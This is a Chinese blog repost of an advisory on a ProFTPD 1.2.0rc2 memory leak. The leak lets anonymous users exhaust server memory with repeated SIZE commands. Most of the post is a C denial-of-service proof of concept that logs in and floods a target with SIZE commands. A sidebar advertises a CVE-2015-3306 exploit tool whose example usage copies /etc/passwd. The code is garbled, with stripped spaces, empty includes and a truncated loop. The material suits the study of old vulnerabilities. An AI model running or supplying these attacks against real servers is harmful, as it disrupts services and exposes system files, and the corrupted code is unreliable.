`
izuoyan
  • 浏览: 8951226 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

Proftpd 记忆体泄漏拒绝服务攻击漏洞

阅读更多
描述:
--------------------------------------------------------------------------------


Proftpd是一个流行的Ftp服务软体。它在执行SIZE命令时存在一个记忆体泄漏的
问题,攻击者可以利用此问题进行拒绝服务攻击。

如果执行5000条SIZE命令,将导致系统用300KB记忆体。如果执行大量的SIZE
命令,将使记忆体耗尽,导致拒绝服务攻击。攻击者只需要匿名访问权限即可
进行这种攻击。

<*来源:WojciechPurczynski(wp@elzabsoft.pl)
PiotrZurawski[fb](szur@ix.renet.pl)
*>



测试程序:
--------------------------------------------------------------------------------

警告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



/*ProftpdDoS
*byPiotrZurawski(szur@ix.renet.pl)
*Thissourceisjustanexampleofmemoryleakageinproftpd-1.2.0(rc2)
*serverdiscoveredbyWojciechPurczynski.
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#defineUSERNAME"anonymous"
#definePASSWORD"dupa@dupa.pl"
#defineHOWMANY10000

voidlogintoftp();
voidsendsizes();
intfd;
structin_addrhost;
unsignedshortport=21;
inttcp_connect(structin_addraddr,unsignedshortport);

intmain(intargc,char**argv)
{

if(!resolve(argv[1],&host))
{
fprintf(stderr,"Hostnamelookupfailure\
");
exit(0);
}

fd=tcp_connect(host,port);


logintoftp(fd);

printf("Logged\
");

sendsizes(fd);

printf("Nowcheckoutmemoryusageofproftpddaemon");
printf("Residentsetsize(RSS)andvirtualmemorysize(VSIZE)");
printf("fieldsinpsoutput");
}

voidlogintoftp()
{

charsnd[1024],rcv[1024];
intn;

printf("Logging"USERNAME"/"PASSWORD"\r\
");

memset(snd,'\0',1024);
sprintf(snd,"USER%s\r\
",USERNAME);
write(fd,snd,strlen(snd));

while((n=read(fd,rcv,sizeof(rcv)))>0)
{
rcv[n]=0;
if(strchr(rcv,'\
')!=NULL)break;
}

memset(snd,'\0',1024);
sprintf(snd,"PASS%s\r\
",PASSWORD);
write(fd,snd,strlen(snd));

while((n=read(fd,rcv,sizeof(rcv)))>0)
{
rcv[n]=0;
if(strchr(rcv,'\
')!=NULL)
break;
}
return;
}

voidsendsizes()
{
charsnd[1024],rcv[1024];
unsignedlongloop;

printf("Sending%isizecommands...\
",HOWMANY);

for(loop=0;loop{
sprintf(snd,"SIZE/dadasjasojdasj/adhjaodhahasohasaoihroaha");
write(fd,snd,strlen(snd));
}

return;
}

inttcp_connect(structin_addraddr,unsignedshortport)
{
intfd;

structsockaddr_inserv;
bzero(&serv,sizeof(serv));serv.sin_addr=addr;
serv.sin_port=htons(port);
serv.sin_family=AF_INET;

if((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)\
{
perror("socket");
exit(0);
}

if(connect(fd,(structsockaddr*)&serv,sizeof(serv))<0)
{
perror("connect");
exit(0);
}

return(fd);
}

intresolve(char*hostname,structin_addr*addr)
{
structhostent*res;
res=gethostbyname(hostname);
if(res==NULL)
return(0);
memcpy((char*)addr,res->h_addr,res->h_length);
return(1);
}


--------------------------------------------------------------------------------
建议:

临时解决方法:

DmitryAlyabyev提供了一个临时解决
方法,限制SIZE命令的使用,在配置文件中增加下列语句:


DenyAll
分享到:
评论

相关推荐

    proftpd LINUX-FTP服务包

    架设LINUX-FTP服务的压缩包proftpd,具体安装方式网上有

    cpx_proftpd:漏洞利用工具 CVE-2015-3306

    cpx_proftpd Daniel Aldana 针对漏洞利用的 PoC。 Vadim Melihow 报告的错误。 ###方法1: 用法: python cpx_proftp.py &lt;IP&gt; &lt;REMOTE&gt; 前任: python cpx_proftp.py 127.0.0.1 /etc/passwd /var/...

    proftpd.tar.gz

    proftpd服务工具,解压后进入proftpd目录,运行 sh init.sh 脚本,输入登陆FTP的密码(用户名为当前登陆的用户名,不能使用root用户)确认默认的8021端口是否被占用,如果占用,修改 etc/proftpd.conf配置里的端口号,...

    proftpd 1.3.2 for linux

    proftpd 1.3.2 for linux complie ./configure make make install

    proftpd1.2 linux下的ftp服务器软件(红帽子rpm)

    proftpd1.2 linux下的ftp服务器软件,安装后可以用作ftp服务器使用,此服务器较为流行,安全性好,配置和apache的配置类似,只要更改相应的配置文件就可以进行配置

    proftpd 一键安装

    proftpd 一键安装

    proftpd安装.rar

    centos7.9安装编proftpd,带配置文件,添加虚拟用户,配置用户目录权限

    ProFtpd 配置

    教会你怎么利用ProFtpd服务(FTP)

    ProFTPD v1.3.4rc2.zip

    ProFTPD是一个Unix平台上或是类Unix平台上(如Linux, FreeBSD等)的FTP服务器程序,它是在自由软件基金会的版权声明(GPL)下开发、发布的免费软件,也就是说任何人只要遵守GPL版权声明,都可以随意修改源始码。...

    centos7下proftpd+mysql安装配置.zip

    proftpd全称:Professional FTP daemon,是针对Wu-FTP的弱项而开发的,除了改进的安全性,还具备许多Wu-FTP没有的特点,能以Stand-alone、xinetd模式运行等。ProFTP已经成为继Wu-FTP之后最为流行的FTP服务器软件,...

    proftpd 简介

    proftpd是一款开放源码的ftp服务器软件,它是原来世界范围使用最广泛的wu-ftpd的改进版,它修正了wu-ftpd的许多缺陷,在许多方面进行了重大的改进,其中一个重要变化就是它学习了Apache 的配置方式,使proftpd的配置...

    Linux系统proftpd配置

    提供Linux系统下proftp安装,配置。

    proftpd支持mysql和quota配额

    proftpd支持mysql和quota配额

    proftpd1.3.2.tar.bz2

    proftpd1.3.2.tar.bz2 proftpd1.3.2.tar.bz2 用于linux下建立ftp服务

    proftpd使用教程

    proftpd 使用 方法,很有用的。linux环境下的。

    Linux下配置FTP服务(Proftpd)

    实现以下功能 1.配置FTP服务器,能够实现要求的功能; a.限制用户上传的速率为30K/s; b.... c....d.ftp用户只能上传,不能下载,不能删除,不能改名字。...e.teacher用户具有各种功能(下载,上传,删除,改名等);

    proftpd-1.2.10rc1.tar.gz

    proftpd-1.2.10rc1.tar.gz proftpd-1.2.10rc1.tar.gz proftpd-1.2.10rc1.tar.gz

    proftpd + mysql + quota配置完全指南

    proftpd + mysql + quota配置完全指南proftpd + mysql + quota配置完全指南proftpd + mysql + quota配置完全指南proftpd + mysql + quota配置完全指南

    proftpd虚拟用户挂载多个目录

    proftpd虚拟用户挂载多个目录

    proftpd安装和配置,2分钟搞定

    压缩包,包含配置文件和安装文件(proftpd-1.3.4b.tar.gz) 不需要太多的修改,就可以完成ftp的配置。 实现:指定用户访问一个特定的目录,不允许匿名登录

Global site tag (gtag.js) - Google Analytics